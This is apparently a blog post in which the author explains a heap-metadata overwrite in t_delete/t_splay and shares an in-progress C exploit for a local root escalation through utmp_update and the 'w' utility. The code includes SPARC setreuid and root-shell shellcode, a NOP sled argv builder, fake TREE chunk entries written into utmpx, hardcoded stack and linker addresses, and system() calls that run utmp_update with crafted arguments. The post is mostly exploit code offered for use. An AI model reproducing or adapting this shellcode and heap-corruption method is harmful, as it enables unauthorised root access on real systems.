Possible Circumvention — Pt. 14

In t_delete

/* make op the root of the tree */
if (PARENT(op))
t_splay(op);

make the parent point to another entry before in the heap…
this is a entry/shellcode starter..

entry/shellcode (pp) starter format:
SIZE(PP) is the first 8 bytes of shellcode,
which will have to jump to another entry before/after it which is more full of shellcode.. This jumping may have to occur through > 2 entries..

PARENT is NULL HOPEFULLY.. see if it can be placed in such a way that LEFT(PP) == tp [tp is the child] and PARENT is NULL.

This can be done at ut_tv.tv_sec and going downwards (see d4.c)

p[0x44] = 0xde
p[0x45] = 0xad
p[0x46] = 0xbe
p[0x47] = 0xef
p[0x48] = 0x0
p[0x49] = 0x8
p[0x4a] = 0xde
p[0x4b] = 0xad
p[0x4c] = 0xbe
p[0x4d] = 0xef
p[0x4e] = 0x0
p[0x4f] = 0x0
p[0x50] = 0xde
p[0x51] = 0xad
p[0x52] = 0xbe
p[0x53] = 0x1f

LEFT can be assigned to TP where it says 0xdeadbeef

t_splay is called



Long story short, I figured it out. Heap-based execution is possible in this 32-bit application, I haven’t yet discovered the puzzle piece for 64-bit application. :|
I had to find an interesting way to work through the t_delete() function. I also messed with t_splay() first but it wasn’t fruitful because it overwrites a TREE structure’s size field which is a NONO. You can’t have an asm instruction for the size field because it “breaks” something about the chunk size incompatibility… So I found a crucial stage if parent == NULL && left logic (that’s summarized, not the actual liner in the code), that gets me the ability to over-write a !SIZE member of the TREE structure, exactly a place I can begin execution from..

.

I’ve also been working around the clock on bringing up my C-based exploit. It’s stack-execution-based. :D
Here’s a current snippet (lol)..

/* This is Bazz's PoC 
 of the CVE-Blah-Blah-Blah
 of the w/whodo flaw!! <3 

*/

#include <sys/wait.h>
// copied from w
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <stdarg.h>
#include <stdlib.h>
#include <ctype.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <sys/types.h>
#include <utmpx.h>
#include <sys/stat.h>
#include <dirent.h>
#include <procfs.h>   /* /proc header file */
#include <locale.h>
#include <unistd.h>
#include <sys/loadavg.h>
#include <limits.h>
//
// my own includes
#include <sys/types.h>
#include <assert.h>

#define ERR   (-1)

 /* The program can be broken into a couple sections so far :

 1) ARGV builder to w.. Builds the argument to 'w' invocation
    so that there is a sweet amount of space to return to into the sack
 2) UTMPX FuckING WITH SHIT!
*/

/* ARGV supplement to 'W'
# first char cannot be a number (as arg to w)
printf "AAAA"
perl -e 'print "\xa4\x1c\x40\x11\x20\xbf\xff\xff"x50000'
cat asmshell7.bin
# execute @ 0xffbee008

*/
#define COOL_NOP "\xa4\x1c\x40\x11\x20\xbf\xff\xff"
// asmshell7.bin, located only on LIFE right now
//
//
char setreuid_code[]=
"\x90\x1d\xc0\x17"
"\x92\x1d\xc0\x17"
"\x82\x10\x20\xca"
"\x91\xd0\x20\x08";

char gimme_root_shell[] = 
"\x11\x0b\xd8\x9a"
"\x90\x12\x21\x6e\xd0\x23\xa0\x54\x11\x0b\xdc\xda\xd0\x23\xa0\x58"
"\x11\x0b\x5c\xc0\xd0\x23\xa0\x5c\xc0\x23\xa0\x60\x90\x03\xa0\x54"
"\xd0\x23\xa0\x48\x90\x03\xa0\x5c\xd0\x23\xa0\x4c\xc0\x23\xa0\x50"
"\x90\x03\xa0\x54\x92\x03\xa0\x48\x94\x1b\x40\x0d\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x90\x1b\x40\x0d\x82\x10\x20\x01\x91\xd0\x20\x08";

// be global, since we'll be calling the child exec many times
// potentially, who cares 
char argv_buf[(50000*8)+4+96+1]; // 96 is sizeof gimme_root_shell, 4 for "AAAA"

// this will build the argv supply and return a pointer to it :) 
char * build_argv_supplement()
{
  int i=0;
  char *p;

  bzero(argv_buf, (50000*8)+4+96+1);

  p = argv_buf;
  // first characters cannot be numbers so.. fill it with some A
  *(p++) = 'A';
  *(p++) = 'A';
  *(p++) = 'A';
  *(p++) = 'A';

  for (i=0; i < 50000; i++)
  {
    strcpy(p, COOL_NOP);
    p+=8;
  }
  strcpy (p, setreuid_code);
  p += strlen(setreuid_code);

  strcpy (p, gimme_root_shell);

  return argv_buf;
}


/* NEED MANDATORY A STRING BUILDER TO UTMP_UPDATEE */

 // To-DO 
 /* 

 Let's talk about the string builder: 
 /usr/lib/utmp_update `perl -e 'print "\xff\xff\xff\xf8" . "AAAA" . 
  "\xff\x3e\xe2\x48" . "AAAA" . "\xff\xff\xff\xff" . "AAAA" . "AAAA" . 
  "AAAA" '` `perl -e 'print "\xff\xbe\xe0\x08" '` "pts////////2" "9000" 
  "8" "10" "1" "100000" "10000" "4" "aa" "4" "bazz"

let's strip that into components. A lot of that perl stuff can be done
programmatically in C */
#define UTMP_UPDATE_CMD_PATH "/usr/lib/utmp_update "
#define LD_COOL_ADDR 0xff3ee248
char LD_COOL_ADDR_STR[] = "\xff\x3e\xe2\x48"; // this is it - 20
#define STACK_RETURN_ADDR "\xff\xbe\xe0\x08"
/*
 Get current TTY, and use that as a component in a string builder
 of the argument to utmp_update.

 char *ttyname(int fildes);
 Upon successful completion, ttyname() and ttyname_r() return
     a pointer to a string. Otherwise, a null pointer is returned
     and errno is set to indicate the error

*/
char *ttyn; // my tty name's number
// i.e. /dev/pts/2, ttyn = "2"
craft_fake_tree_utmpx_entry(struct utmpx *utp);
char * getfree_stackreturnaddr_id();


// THIS IS IMPORTANT!! <3 
#define W_HEAPBUF_BASEADDR 0x30770
// This can be checked by debugging the program (copy it into home dir)
// and checking the return of malloc() 

/* There are 3 different kind of UTMPX entries this program makes
1) Pre-entry -- a filler entry to ensure that the TREE struct entry
    is aligned on an WORD-size boundary (8 bytes on 32-bit OS)
2) Fake TREE struct entry: 'nuff said'
    Not really. This entry's ID field IS the target address, 

32-bit TREE STRUCT
------------------
LL LL LL LL   AA AA AA AA   TP TP TP TP   AA AA AA AA
FF FF FF FF   AA AA AA AA   AA AA AA AA   AA AA AA AA
SP SP SP SP   AA AA AA AA   AA AA AA AA   AA AA AA AA
LL : lowest 2 bits must not be set.
AA : Not important
I'm not explaining TP and SP cause I already figured it out and forgot.
See Shellcoder's Handbook. 
Long story short: 
TP points to LD.so function pointer and 
SP points to Stack return address

3) Overflowed Heap chunk entry -- this just has some pointers back to
    the fake TREE struct entry.
*/
// could be STACK SPACE, could be HEAP SPACE.. IONNO
// in this PoC it's STACK SPACE 
// TREE struct ID field must be consolidated,
// create a range to consolidate against:  
#define TARGET_MIN 0xffbba000
#define TARGET_MAX 0xffbeff00
// only care about multiples of 4 (each instruction is 4 bytes)
// and I want how many bytes to use so i divide by 8, a bit for every 
// entry
#define STACK_TABLE_SIZE (((TARGET_MAX - TARGET_MIN) / 4) / 8)
//
//
stack_table[STACK_TABLE_SIZE]; // representing instructions entries from
// 0xffb0a000 - 0xffbeff00

#define UTMPX_ENTRY_SIZE sizeof (struct utmpx)

struct stat gstatbuf;
char *prog;

// keep track of which utmpx entries are "taken"
// every bit represents

//ie ENTRY "AAAA" = 0x41414141
// I can allocate a table space 32*32*32*32 bytes wide
// to represent all combinations of 4 bytes..

//0x01 should set bit 0 in the table//
// since the byte will be needed anyways, let's be reflecting
// 0x01 will be bit 1
// so just divide by 8 to find the byte index.. 
// modulus by 8 to get the bit index
//char table[32*32*32*32];
//char table[256][256][256][32];
//0x20000000 bytes = 512 MB 
// DAMN TATS TOO MUCH!! Let's lower the bitspace down to save memory..
// if disregard the first byte we get 2MB size..
// how about half the bitspace..
#define UPPER_LIMIT 16
char table[UPPER_LIMIT][256][256][32];
// this table will take 32 MB.. Not bad..
/* this table reflects entries that I will use in my attack
If the UTMPX file already has certain entries.. I need to take that
into account because UTMPX never appends to the file when the entry 
already exists.. but appending is necessary to overflow the heap
*/
/* if the First character of the ID is not in our bitspace, ignore it,
it is not part of the attack vector */
/* Reflects the ID[4] field
"AAAA"
look at them like address bits 
but how much does each one affect the whole? 
*/
#define A0 (1 << 0)
#define A1 (1 << 5)  // * 32 
#define A2 (1 << (5+8)) // * 32
#define A3 (1 << (5+8+8)) // * 32

/*

let's say the value is 0x00000041
0x41 / 8 = 8
0x41 % 8 = 1
table[8] |= 1 << 1

what if it was 0x00000141
*/



time_t utmpx_last_access_time=0; 
static char pts_prefix[] = "pts///";

char * getfree_stackreturnaddr_id()
{
  static char addr_str[5];
  int i;
  uint8_t bit_index;

  bzero (addr_str, 5);

  for (i=0; i < STACK_TABLE_SIZE; i++)
  {
    for (bit_index=0; bit_index < 8; bit_index++)
    {
      if ( (stack_table[i] & (1 << bit_index)) == 0 )
      {
        uint32_t free_stack_addr = TARGET_MIN + (i * 32) + (bit_index * 4) ;
        uint32_t *pi = (uint32_t *)&addr_str[0]; 
        *pi = free_stack_addr;
        // mark the entry taken now on
        stack_table[i] |= (1 << bit_index);
        return addr_str; // its OK, addr_str is static
      }
    }
  }

  return NULL;
}

#define GENERIC_PID 9000
#define GENERIC_TYPE DEAD_PROCESS // it has to be 08.. there's nothin GENERIC ABOUT it!! 
#define GENERIC_TERM 10
#define GENERIC_EXITSTATUS 1
#define GENERIC_XTIME 100000
#define GENERIC_TIME_USEC 10000
#define GENERIC_SESSION 4
#define GENERIC_PAD0 0xaaaa
#define GENERIC_PAD1 0xbbbb
#define GENERIC_PAD2 0xcccc
#define GENERIC_PAD3 0xdddd
#define GENERIC_PAD4 0xeeee
#define GENERIC_SYSLEN 4
#define GENERIC_HOST "bazz"
//  static char phrase6[] = "\" \"9000\" \"8\" \"10\" \"1\" \"100000\" 
// \"10000\" \"4\" \"aa\" \"4\" \"bazz\"";
assign_generics(struct utmpx *utxp)
{
  char *cp;
  // LINE 
  cp = utxp->ut_line;
  strcpy (cp, pts_prefix); // global
  cp += strlen(pts_prefix);
  strcpy (cp, ttyn); // global

  utxp->ut_pid = GENERIC_PID;
  utxp->ut_type = GENERIC_TYPE;
  utxp->ut_exit.e_termination = GENERIC_TERM;
  utxp->ut_exit.e_exit = GENERIC_EXITSTATUS;
  utxp->ut_xtime = GENERIC_XTIME;
  utxp->ut_tv.tv_usec = GENERIC_TIME_USEC;
  utxp->ut_session = GENERIC_SESSION;
  utxp->pad[0] = GENERIC_PAD0;
  utxp->pad[1] = GENERIC_PAD1;
  utxp->pad[2] = GENERIC_PAD2;
  utxp->pad[3] = GENERIC_PAD3;
  utxp->pad[4] = GENERIC_PAD4;
  utxp->ut_syslen = GENERIC_SYSLEN;
  strcpy(utxp->ut_host, GENERIC_HOST);
}

craft_fake_tree_utmpx_entry(struct utmpx *utp)
{
  char *free_stack_id;
  char *cp; // char pointer generic
  // INSPIRATION: 
  /*static char pts[] = "pts///";

  static char phrase1[] = "/usr/lib/utmp_update `perl -e 'print \"\xff\xff\xff\xf8\" . \"AAAA\" . \"";
  // phrase 2 is the LD_COOL_ADDR_STR
  static char phrase3[] = "\" . \"AAAA\" . \"\xff\xff\xff\xff\" . \"AAAA\" . \"AAAA\" . \"AAAA\" '` ";
  static char phrase4[] = "`perl -e 'print \"\xff\xbe\xef\x08\" '` \"pts///";
  // ttynum
  static char phrase6[] = "\" \"9000\" \"8\" \"10\" \"1\" \"100000\" \"10000\" \"4\" \"aa\" \"4\" \"bazz\"";*/

  bzero (utp, UTMPX_ENTRY_SIZE);

  // NAME
  cp = utp->ut_name;
  strcpy (cp, "\xff\xff\xff\xf8XXXX" );
  cp += 8;
  strcpy (cp, LD_COOL_ADDR_STR);
  cp += strlen(LD_COOL_ADDR_STR);
  strcpy (cp, "AAAA\xff\xff\xff\xffXXXXBBBBCCCC");
  cp += 20;

  // ID
  if ( (free_stack_id = getfree_stackreturnaddr_id()) == NULL)
  {
    fprintf(stderr, "OUT OF FREE STACK SPACE!!?!? QUITTING\n");
    exit(1);
  }
  strcpy (utp->ut_id, free_stack_id);

  // TAKES CARE OF THE REST
  assign_generics(utp);
}

utmp_update_C_style()
{
  struct utmpx *utp, ut;
  reset_utmpx_file_for_querying();
  while ( (utp = getutxent()) != NULL );

  craft_fake_tree_utmpx_entry(&ut);
}


char * string_builder_for_utmp_update_FAKE_TREE()
{
  static char utmp_update_buf[2048];
  // I could update UTMPX through the API
  // but I'm not in that mindset!! <3 
  char *p;
  static char pts_prefix[] = "pts///";

  static char phrase1[] = "/usr/lib/utmp_update `perl -e 'print \"\xff\xff\xff\xf8\" . \"AAAA\" . \"";
  // phrase 2 is the LD_COOL_ADDR_STR
  static char phrase3[] = "\" . \"AAAA\" . \"\xff\xff\xff\xff\" . \"AAAA\" . \"AAAA\" . \"AAAA\" '` ";
  static char phrase4[] = "`perl -e 'print \"\xff\xbe\xef\x08\" '` \"pts///";
  // ttynum
  static char phrase6[] = "\" \"9000\" \"8\" \"10\" \"1\" \"100000\" \"10000\" \"4\" \"aa\" \"4\" \"bazz\"";

  bzero(utmp_update_buf, 2048);
  p = utmp_update_buf;

  strcpy(p, phrase1); // space included ;) 
  p += strlen(phrase1);
  strcpy(p, LD_COOL_ADDR_STR);
  p += strlen(LD_COOL_ADDR_STR);
  strcpy(p, phrase3);
  p += strlen(phrase3);
  strcpy(p, phrase4);
  p += strlen(phrase4);

  strcpy(p, ttyn);
  p += strlen(ttyn);

  strcpy(p, phrase6);

///usr/lib/utmp_update `perl -e 'print "\xff\xff\xff\xf8" . "AAAA" . "\xff\x3e\xe2\x48" . "AAAA" . "\xff\xff\xff\xff" . "AAAA" . "AAAA" . "AAAA" '` `perl -e 'print "\xff\xbe\xef\x08" '` "pts////////2" "9000" "8" "10" "1" "100000" "10000" "4" "aa" "4" "bazz"
  // I could be all pretty RIGHT HERE, and have a TREE data structure.
  // But I'm going to be RAW and not have it. 
  /*strcpy (p, "\xff\xff\xff\xf8XXXX");
  p+= 8;

  *(p++) = LD_COOL_ADDR_STR[0];
  *(p++) = LD_COOL_ADDR_STR[1];
  *(p++) = LD_COOL_ADDR_STR[2];
  *(p++) = LD_COOL_ADDR_STR[3];
  //strcpy(p, LD_COOL_ADDR);
  //p+= strlen(LD_COOL_ADDR); 
  //int *intp = (uint32_t *) p;
  //*intp = LD_COOL_ADDR;
  //p+=4;                 
  strcpy(p, "XXXX\xff\xff\xff\xff");
  p+=8;*/
  // This stack ADDR needs to be dynamically asserted
  /* there needs to be a stack_return_addr variable
  and a check in the table for an available address
  don't forget tell the table it's now taken, after verifying by
  searching thru the UTMPX entries (just keep 2 copies until we get NULL,
  then look in the last copy for a signature) */
  /**(p++) = ' ';
  // ID
  strcpy(p, STACK_RETURN_ADDR);
  p+=4;
  //
  *(p++) = ' ';
  strcpy(p, pts);
  p+=strlen(pts);
  //*(p++) = *ttyn;
  strcpy (p, ttyn);
  p += strlen(ttyn);
  *(p++) = ' ';
   
  //"9000" 
  strcpy (p, "9000 8 10 1 100000 10000 4 aa 4 bazz");*/

  return utmp_update_buf;
}

// Somewhere above we will get the ID field
storeID(char *id)
{
  //char buf[5];
  uint8_t four,three,two,one;
  uint8_t bit_index=0;


  // ignore ID[0] if it's not in our range
  if ((uint8_t)*id > (UPPER_LIMIT-1) )
  {
    // UNLESS IT'S IN THE DESIRED STACK SPACE
    // how to add ID to the table
    uint32_t *awesome  = (uint32_t *)id;
    if (*awesome >= TARGET_MIN && *awesome < TARGET_MAX)
    {
      *awesome -= TARGET_MIN;
      if (*awesome % 4)
      {
        // FUCK YOU!!! 
        return;
      }
      else
      {
        uint32_t divider = *awesome / 32;
        uint8_t bit_shift = ((*awesome % 32) / 4);

        stack_table[divider] |= (1 << bit_shift);
        return;
      }
    }
    else return;
  }

  four = (uint8_t)*(id++);
  three = (uint8_t)*(id++);
  two = (uint8_t)*(id++);
  one = (uint8_t)*id / 8; 
  bit_index = 1 << ((uint8_t)*id % 8);

  table[four][three][two][one] |= bit_index;
}

//
// Function prototypes
add_pre_entry();
//
//
//

test_argv()
{
  printf ("%s", build_argv_supplement());
}

uint8_t alarm_went_off=0;
mysignal(int p)
{
  alarm_went_off=1;
  fprintf (stderr,".");
  signal(SIGALRM, mysignal);
  alarm(1);
}

reset_utmpx_file_for_querying()
{
  utmpxname(UTMPX_FILE);
  setutxent();
}

init_table()
{
  struct utmpx *p;

  //don't forget to bzero @init 
  bzero (stack_table, STACK_TABLE_SIZE);
  bzero (table, UPPER_LIMIT*256*256*32);

  reset_utmpx_file_for_querying();
  while ( (p = getutxent()) != NULL )
  {
    storeID(p->ut_id);
  }

  endutxent();
}
test_table()
{
  

  signal(SIGALRM, mysignal);


  //init_table();

  uint16_t four=1,three=1,two=1,one=1;
  uint8_t bit_index=1;
  static char pc[5];
  uint32_t *intp;
  int i;

  fprintf(stderr, "Searching the generic ID table");

  alarm(1);

  for (four=1; four < UPPER_LIMIT; four++)
  {
    for (three=1; three < 256; three++)
    {
      for (two=1; two < 256; two++)
      {
        bit_index=1;
        for (one=0; one  < 32; one++)
        {
          for (; bit_index < 8; bit_index++)
          {
            if (table[four][three][two][one] & (1 << bit_index))
            {
              alarm(0);
              // found a freebie
              pc[0] = four;
              pc[1] = three;
              pc[2] = two;
              pc[3] = (one * 8) + bit_index;
              pc[4] = 0;

              if (alarm_went_off)
              {
                printf ("\n");
                alarm_went_off=0;
              }
              if ( (!isprint(pc[0])) || (!isprint(pc[1])) ||
                    (!isprint(pc[2])) || (!isprint(pc[3])) )
              {
                intp = (uint32_t *)&pc[0];
                printf ("ID: 0x%08x\n", *intp);
              }
              else printf ("ID: %s\n", pc);

              
              alarm(1);
            }
          }
          // I started with bit_index=1 to skip the NULL byte case
          bit_index=0;
          // when one=0
        }
      }
    }
  }

  fprintf (stderr, "Now testing stack table\n");
  fprintf (stderr, "ADDRESSES OCCUPIED:\n");
  alarm(1);
  for (i=0; i < STACK_TABLE_SIZE; i++)
  {
    for (bit_index=0; bit_index < 8; bit_index++)
    {
      if (stack_table[i] & (1 << bit_index))
      {
        alarm (0);

        if (alarm_went_off)
        {
          printf ("\n");
          alarm_went_off=0;
        }
        printf("0x%08x\n", TARGET_MIN + (i * 8 * 4) + (bit_index * 4) );
        alarm(1);
      }
    }
  }

}

test_fake_tree_string_builder()
{
  char *p = string_builder_for_utmp_update_FAKE_TREE();
  printf( "%s",p);
  fprintf(stderr, "return code is %d\n", WEXITSTATUS(system(p)));
}


dotests()
{
  char c;
  fprintf(stderr, "1) Test ARGV builder\n");
  fprintf(stderr, "2) Test TABLE ID Entries\n");
  fprintf(stderr, "3) Test string builder for utmp_update fake tree structure\n");
  fprintf(stderr, "4) Test Craft of Fake TREE UTMPX Entry\n");
  scanf("%c", &c);

  if (c == '1')
  {
    test_argv();
    return 1;
  }
  else if (c == '2')
  {
    test_table();
    return 1;
  }
  else if (c == '3')
  {
    test_fake_tree_string_builder();
    return 1;
  }
  else if (c == '4')
  {
    struct utmpx ut;
    craft_fake_tree_utmpx_entry(&ut);
    // then write it !! 
    reset_utmpx_file_for_querying();
    while ( getutxent() != NULL ); // not sure if I HAVE to do this
    if ( pututxline(&ut) )
    {
      fprintf(stderr, "I think it was sucessful.. Do an 'od -X /var/adm/utmpx' \
        to find out");
    }
    return 1;
  }
  return 0;
}

int processclargs(int argc, char *argv[])
{
  int c, linecount;

  while( --argc > 0 && (*++argv)[0] == '-')
    while(c = *++argv[0]) //bug to investigate: what are the side effects of c == *++argv[0], which was a bug before the fix.
      switch (c) {
      case 't':
  return 1;
  break;
      default:
  printf("illegal option %c\n", c);
  argc = 0;
  break;
      }

  //if( argc != 1)
    //printf("Usage: tail [-n #]\n");
  
    return 0;
 }

 // need function protos
stat_utmpx();
align_utmpx();

size_t    gsizeof_utmpx_file;
int       entries;
uint32_t  TREE_base_addr;

necessary_init()
{
   
  init_table();

  // WARNING. THIS CODE ASSUMES the TTY PATH is /dev/pts/****
  // definitely gotta strip tty name 
  ttyn = ttyname(0);
  ttyn = strrchr(ttyn, '/');
  ttyn++;
  //ttyn += 5; // remove "/dev/"
  //ttyn += 4; // remove "pts/"
  // I just want the number :D 

  fprintf (stderr, "tty number is %s\n", ttyn);

  
}

main(int argc, char **argv)
{
  prog = argv[0];

  necessary_init();

  if (processclargs(argc,argv))
  {
    return dotests();
  }


  align_utmpx();
}


// should do a faster routine during actual "fork parent watch for utmpx access"
int stat_utmpx(struct stat *statbuf)
{
  if (stat(UTMPX_FILE, statbuf) == ERR) {
    (void) fprintf(stderr, "%s: stat error of %s: %s\n",
      prog, UTMPX_FILE, strerror(errno));
    exit(1);
  }
  utmpx_last_access_time = statbuf->st_atime;
  // The above should really be called again before forking off an instance
  // of 'w'
  // and don't forget to sleep(2) in the child before exec'ing to ensure the access time is accurate
  // atime is only precise to the second..
  fprintf (stderr, "statbuf.st_size = %d\n", statbuf->st_size);
  fprintf (stderr, "sizeof struct futmpx = 0x%x\n", sizeof(struct futmpx));
  
  entries = statbuf->st_size / sizeof (struct futmpx);
  fprintf (stderr, "NumEntries = 0x%x\n", entries);
  return sizeof (struct utmpx) * entries; 
}

// this would be for heap-based execution method
//int smart_build_prefix=0;
align_utmpx()
{
  int tmp;
  /* The W_HEAPBUF_BASEADDR +gsizeof_utmpx_file will be the base address of the TREE structure
  It MUST be 8-byte aligned 
  if it's not aligned, we simply add a pre-entry to get on TRACK.
  */
  gsizeof_utmpx_file = stat_utmpx(&gstatbuf);
  TREE_base_addr = gsizeof_utmpx_file + W_HEAPBUF_BASEADDR;
  if ( (tmp = TREE_base_addr % 8))
  {
    if (tmp == 4)
    {
      int newsize=0;
      // FOR STACK BASED EXECUTION WE WANT IT == 0, but for HEAP-BASED EXECUTION, w
      // want it at 4...
      //smart_build_prefix=4;

      
      fprintf (stderr, "Adding pre-entry for 8-byte alignment\n");
      add_pre_entry();

      // VERIFYING ENTRY SIZE
      newsize = stat_utmpx(&gstatbuf);
      assert ( (newsize == (gsizeof_utmpx_file + UTMPX_ENTRY_SIZE)) && !(newsize % 8) );
      TREE_base_addr = newsize;
    }
    // NOTE ON HEAP_BASED_EXECUTION with smart alignment: 
    // Well, in this case, only have 32-4 bytes to work with in ut_name[]
    // I will some sort of index_variable which will SMART_BUILD the entry
    //
    // Later do some sort of namelen(32) - smart_build_prefix = room to work with
    /**/
    else
    {
      fprintf(stderr, "WTF?!?!?!");
      exit(9);
    }
  }

  // NOW update the TREE_base_addr to reflect new entry
  fprintf (stderr, "TREE_base_addr = 0x%x\n", TREE_base_addr);
  assert (!(TREE_base_addr % 8));

  // ADD FAKE TREE STRUCT ENTRY
  system(string_builder_for_utmp_update_FAKE_TREE());
}


// Because in my case the ID is the TARGET address :\ 
// make sure, don't waste a pre-entry on valuable TARGET SPACE
int is_addr_in_target_space(uint32_t *addr)
{
  if (*addr < TARGET_MIN || *addr > TARGET_MAX)
    return 0;
  else return 1;
}

// everything starts at 1 cause I'm not fucking with null bytes
find_free_id_not_stack(char *p)
{
  uint16_t four=1,three=1,two=1,one=1;
  uint8_t bit_index=1;

  for (four=1; four < UPPER_LIMIT; four++)
  {
    for (three=1; three < 256; three++)
    {
      for (two=1; two < 256; two++)
      {
        bit_index=1;
        for (one=0; one  < 32; one++)
        {
          for (; bit_index < 8; bit_index++)
          {
            if (table[four][three][two][one] & (1 << bit_index) == 0)
            {

              // found a freebie
              p[0] = four;
              p[1] = three;
              p[2] = two;
              p[3] = (one * 8) + bit_index;
              uint32_t *addr = (uint32_t *)p;
              if (!is_addr_in_target_space(addr)) // address pass intentional
              {
                table[four][three][two][one] |= (1 << bit_index);
                return;
              }
            }
          }
          // I started with bit_index=1 to skip the NULL byte case
          bit_index=0;
          // when one=0, but after that (one > 0) the bit_index @ 0 will reflect 
          // values beyond 0 so it's OK
        }
      }
    }
  }
}


add_utmpx_entry(char *name, char *id)
{

}

add_generic_utmpx_entry()
{

}

add_pre_entry()
{
  char id[5];
  bzero(id, 5);
  // find a free_id and make sure it's not in our 
  // stack_space! 
  find_free_id_not_stack(id);

  add_generic_utmpx_entry();
  // That function will wrap around something more powerful
}

Leave a Reply

Your email address will not be published. Required fields are marked *

*